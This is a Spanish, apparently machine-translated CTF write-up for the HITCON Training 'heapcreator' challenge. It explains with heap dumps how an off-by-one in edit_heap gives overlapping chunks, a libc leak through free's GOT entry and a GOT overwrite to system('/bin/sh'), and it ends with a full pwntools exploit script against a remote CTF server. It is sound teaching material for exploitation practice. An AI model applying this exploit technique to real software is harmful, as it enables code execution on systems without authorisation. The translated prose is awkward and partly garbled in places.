buuctf hitcontraining_heapcreator HITCON Trainging lab13

Esta pregunta está disponible en la wiki. En Chunk Extend and Overlapping, personalmente creo que esta pregunta es más fácil de entender para personas como yo que recién están comenzando a aprender mucho. Arrastra
a la
función IDA create_heap:

Inserte la descripción de la imagen aquí
Vale la pena señalar que aquí tendrá dos mallocs, es decir, si se aplica una vez, creará dos fragmentos. El primer fragmento tiene un tamaño de 0x20, que puede considerarse como un registro. El tamaño y el puntero del segundo fragmento se almacenan. Al mismo tiempo, el puntero de la dirección del primer fragmento se almacena en la sección bss, y la matriz heaparray está aquí:
Inserte la descripción de la imagen aquí
esto puede no ser muy claro. Solicité Create a Heap dos veces, las cuales son Para un fragmento de tamaño 0x20, los primeros datos almacenados son "aaaa" y los segundos datos almacenados son "bbbb". De esta manera, el diseño del montón es así:

0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030 (tamaño chunk0 y punteros)
0x603020: 0x0000000000000000 0x0000000000000021 (chunk0)
0x603030: 0x0000000a61616161 0x0000000000000000 ( "AAAA")
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000010 0x0000000000603070 (tamaño chunk1 y punteros)
0x603060: 0x0000000000000000 0x0000000000000021 (fragmento1)
0x603070: 0x0000000a62626262 0x0000000000000000 ("bbbb")
0x603080: 0x0000000000000000 0x0000000000020f81 (parte superior)
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x000000000000

Solo mire este diseño y hay algo que hacer, continúe mirando la siguiente función función
edit_heap:
Inserte la descripción de la imagen aquí
puede ver que hay una vulnerabilidad de uno por uno,
función
Inserte la descripción de la imagen aquí
show_heap: función delete_heap:
Inserte la descripción de la imagen aquí
tenga en cuenta que aquí están los dos fragmentos solicitados anteriormente Todos son gratuitos. El
siguiente es el proceso de resolución del problema. Para la idea básica, la wiki dice esto:
1. Utilice la vulnerabilidad de apagado por uno para sobrescribir el campo de tamaño del siguiente fragmento para construir un tamaño de fragmento falso.
2. Solicite el tamaño de fragmento forjado para generar superposición de fragmentos y luego modifique el puntero clave.

Veamos el script en detalle:
primero, cree cuatro, escriba "/ bin / sh" en el cuarto y lo usará más tarde

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030 (tamaño chunk0 y punteros)
0x603020: 0x0000000000000000 0x0000000000000021 (chunk0)
0x603030: 0x0000000a61616161 0x0000000000000000 ( "AAAA")
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000010 0x0000000000603070 (tamaño chunk1 y punteros)
0x603060: 0x0000000000000000 0x0000000000000021 (fragmento1)
0x603070: 0x0000000a62626262 0x0000000000000000 ("bbbb")
0x603080: 0x0000000000000000 0x0000000000000021
0x603090: 0x0000000000000010 0x00000000006030b0 (tamaño de fragmento2 y puntero)
0x6030a00x000000000000000021(chunk2)
0x6030b0: 0x0000000a63636363 0x0000000000000000 ( "CCCC")
0x6030c0: 0x0000000000000000 0x0000000000000021
0x6030d0: 0x0000000000000010 0x00000000006030f0 (tamaño chunk3 y punteros)
0x6030e0: 0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0: 0x0a68732f6e69622f 0x0000000000000000 ( "/ bin / SH")
0x603100: 0x0000000000000000 0x0000000000020f01 (parte superior)
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000

Tenga en cuenta que chunk0 se aplica a un tamaño de 0x18, pero lo que en realidad obtiene es un fragmento de 0x20. Por lo tanto, el campo prev_size del siguiente fragmento se utilizará al escribir datos, es decir, el lugar de 0x603040 a 0x603048, y debido a la desactivación -Una vulnerabilidad, podemos modificar los datos en 0x603048, es decir, modificar el tamaño de este fragmento

edit(0,'a'*0x18+'\x81')
delete(1)

Aquí cambiamos los datos en 0x603048 a 0x81, y luego liberamos

size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)

Debido a que anteriormente cambiamos 0x603048 a 0x81, al solicitar un tamaño de 0x70 aquí, el tamaño de fragmento real requerido es en realidad 0x80. Por lo tanto, el fragmento solicitado aquí es la parte que se liberó anteriormente. Realice el paso anterior y este paso. Después de eso, puede ser más difícil entender cuál es el significado de hacer esto y qué efecto
se logra. De hecho, es obvio enumerar los datos en el fragmento:

0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x6161616161616161 0x6161616161616161
0x603040: 0x6161616161616161 0x0000000000000081
0x603050: 0x6464646464646464 0x6464646464646464
0x603060: 0x6464646464646464 0x6464646464646464
0x603070: 0x6464646464646464 0x6464646464646464
0x603080: 0x6464646464646464 0x6464646464646464
0x603090: 0x0000000000000008 0x0000000000602028 (free_got)
0x6030a0: 0x0000000000000000 0x0000000000000021 (chunk2)
0x6030b0: 0x0000000a63636363 0x0000000000000000 ("cccc")
0x6030c0: 0x0000000000000000 0x0000000000000021
0x6030d0: 0x0000000000000010 0x00000000006030f0 (tamaño chunk3 y punteros)
0x6030e0: 0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0: 0x0a68732f6e69622f 0x0000000000000000 ( "/ bin / SH")
0x603100: 0x0000000000000000 0x0000000000020f01 (Top el trozo)
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000

Dado que los datos de 0x603050-0x6030c0 se pueden editar a voluntad, podemos controlar los datos en esta área. Lo más importante es que modificamos con éxito el puntero de chunk2 en 0x603098. Podemos usar este puntero , Imprima el contenido en cualquier dirección, también puede reescribir los datos en cualquier dirección, es decir, se da cuenta de la función de leer y escribir a voluntad.
Por lo tanto, para un principiante como yo, aún puede ser un poco embarazoso, combinado con la operación real a continuación, debería ser No es difícil de entender:

show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))

Al ejecutar show (2), mostrará el contenido del puntero chunk2, y hemos cambiado el puntero chunk2 a free_got, por lo que filtramos la dirección de free.
Luego calculamos la dirección de la función del sistema:

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

Lo que hicimos en el paso anterior fue leer cualquier dirección. A continuación, necesitamos usar este puntero para reescribir cualquier dirección. Por ejemplo, cambiamos la dirección de free a la dirección de la función del sistema, y ​​luego porque los datos en chunk3 son "/ bin / sh ", cuando se ejecuta free (chunk3), en realidad se ejecuta el sistema (" / bin / sh "):

edit(2,p64(system_addr))
delete(3)
sh.interactive()

La exp completa es la siguiente:

from pwn import *
from LibcSearcher import LibcSearcher
sh=remote("node3.buuoj.cn",25984)
elf=ELF('./heapcreator')

def create(length,value):
	sh.recvuntil("Your choice :")
	sh.sendline("1")
	sh.recvuntil("Size of Heap : ")
	sh.sendline(str(int(length)))
	sh.recvuntil("Content of heap:")
	sh.sendline(value)
def edit(index,value):
	sh.recvuntil("Your choice :")
	sh.sendline("2")
	sh.recvuntil("Index :")
	sh.sendline(str(int(index)))
	sh.recvuntil("Content of heap : ")
	sh.sendline(value)
def show(index):
	sh.recvuntil("Your choice :")
	sh.sendline("3")
	sh.recvuntil("Index :")
	sh.sendline(str(int(index)))
def delete(index):
    sh.recvuntil('Your choice :')
    sh.sendline('4')
    sh.recvuntil('Index :')
    sh.sendline(str(int(index)))

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

edit(0,'a'*0x18+'\x81')
delete(1)

size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)
show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

edit(2,p64(system_addr))
delete(3)
sh.interactive()

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/107914807
Recomendado
Clasificación